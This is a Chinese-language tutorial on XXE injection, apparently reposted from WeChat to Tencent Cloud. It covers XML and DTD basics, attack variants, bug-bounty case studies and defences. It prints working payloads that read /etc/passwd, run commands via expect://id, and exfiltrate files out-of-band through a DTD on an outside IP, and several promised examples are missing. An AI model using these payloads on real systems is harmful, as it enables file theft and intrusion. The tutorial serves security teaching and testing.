XML外部实体(XXE)注入原理解析及实战案例全汇总

1、基础知识

1)什么是xml

XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以为标记指定描述数据的名称。由于json的出现,xml的受欢迎程度大大下降。

XML文档结构包括XML声明+DTD文档类型定义+文档元素,例如:

其中<note>是根元素,所有XML文档必须包含一个根元素,根元素是所有其他元素的父元素。

2)什么是DTD

DTD(document type definition)文档类型定义用于定义XML文档的结构,它作为xml文件的一部分位于XML声明和文档元素之间,比如下面DTD

它就定义了 XML 的根元素必须是message,根元素下面有一些子元素,所以 XML必须像下面这么写:

其中,DTD需要在!DOCTYPE注释中定义根元素,而后在中括号的[]内使用!ELEMENT注释定义各元素特征。

3)什么是实体

再看下面一个DTD:

很容易理解,它规定了xml文件的根元素是foo,但ANY说明接受任何元素。重点是!ENTITY,这就是我们要提到的实体,实体本质是定义了一个变量,变量名xxe,值为“test”,后面在 XML 中通过 & 符号进行引用,所以根据DTD我们写出下面的xml文件:

因为ANY的属性,元素我们可以随意命令,但user值通过&xxe,实际值为test。

4)什么是外部实体

知道了什么是实体,再说说其实实体分为两种,内部实体和外部实体,上面的例子就是内部实体。XML外部实体是一种自定义实体,定义位于声明它们的DTD之外,声明使用SYSTEM关键字,比如加载实体值的URL:

这里URL可以使用file://协议,因此可以从文件加载外部实体。例如:

这也是产生XXE漏洞的原因。

2、XXE注入漏洞

1)漏洞概念

xml外部实体注入,全称为XML external entity injection,某些应用程序允许XML格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。

2)漏洞危害

XXE漏洞根据有无回显可分为有回显XXE和Blind XXE,具体危害主要有:

a.)检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。

b.)执行SSRF攻击,其中外部实体是基于后端系统的URL定义的,如:

<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >探测端口;

<!ENTITY xxe SYSTEM "expect://id" >执行命令;

c.)无回显读取本地敏感文件(Blind OOB XXE),敏感数据从应用服务器传输到攻击者的服务器上。

d.)通过Blind XXE错误消息检索数据是否存在,攻击者可以触发包含敏感数据的解析错误消息。

具体的攻击手段和场景在案例中说明。

3)挖掘思路

关注可能解析xml格式数据的功能处,较容易发现的是请求包参数包含XML格式数据,不容易发现的是文件上传及数据解析功能处,通过改请求方式、请求头Content-Type等方式进行挖掘,思路一般分三步:

  1. 检测XML是否会被成功解析以及是否支持DTD引用外部实体,有回显或者报错;;
  2. 需注意没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据
  3. 最后可以尝试XInclude,某些应用程序接收客户端提交的数据,将其嵌入到服务器端的XML文档中,然后解析文档,尝试payload:

<fooxmlns:xi=“http://www.w3.org/2001/XInclude”>

<xi:include parse =“text”href =“file:/// etc / passwd”/> </ foo>

3、实战案例

1)有回显读本地文件

利用XXE读/etc/passwd是最为人熟知也通常被用来作为POC的一种攻击效果,如Google 的工具栏按钮允许开发者定义它们自己的按钮,通过上传包含特定元数据的 XML 文件:

<?xml version="1.0"encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM"file:///etc/passwd"> ]>

<stockCheck><productId>&xxe;</productId></stockCheck>

通过上传带有 !ENTITY ,指向外部文件的 XML 文件,DTD中定义了xxe的外部实体,在元素productId中触发,并渲染了内容etc/passwd:

2)文件上传类Blind OOB XXE

这是关于XXE一个重要的测试技巧,在挖掘XXE漏洞过程中要留意接受.docx 、.xlsx和.pptx格式文件的上传,你可以尝试用winrar等解压文件打开一个excel文件,会发现它其实是个 XML 文件的压缩包,如Facebok的一个职位页面允许用户上传 .docx 文件,这里使用7zip打开一个docx文件,并在其中插入payload:

<!DOCTYPE root [

<!ENTITY % file SYSTEM"file:///etc/passwd">

<!ENTITY % dtd SYSTEM"http://197.37.102.90/ext.dtd">

%dtd;

%send;

]]>

服务器在解析这个docx文件的时候,如果受害者开启了外部实体,XML 解析器会调用远程主机,!ENTITY 定义中和下面使用了 % 。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后,远程服务器会发送回 DTD 文件:

对于这个OOB XXE漏洞bp有个插件Collaborator client可以帮助测试:

在解压后的xml文件中插入链接,重新压缩上传即可:

若接收到请求,则存在漏洞:

TIPS:关于上传漏洞还可以尝试上传SVG格式,SVG文件使用XML,可以提交恶意SVG图像,从而触及针对XXE漏洞的隐藏攻击面,如图片上传:

3) 修改content-type实现xxe

这也是一个实用的技巧,如Uber一处原始正常请求为:

GET/api/search/GeneralSearch HTTP/1.1

Host: ubermovement.com

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0;Windows NT 6.1; Win64; x64; Trident/5.0)

修改方法和Content-type:

服务器查看请求日志:

TIP:修改Content-type可以将JSON等格式转换为XML

4、漏洞防范

1)禁用外部实体

2)手动黑名单过滤

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

5、最后

XML主要的漏洞是XXE,但和它相关的漏洞不止这一个,比如:

1) XEE:XML Entity Expansion,主要试图通过消耗目标程序的服务器环境来进行DOS攻击;

2) XSLT:可扩展样式表转换漏洞,XSLT是XML的推荐样式表语言;

3) XPath注入漏洞,XPath用于浏览XML文档中的元素和属性,XSLT使用XPath来查找XML文档中的信息。

本文分享自微信公众号 - 卓文见识(zhuowenjianshi)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券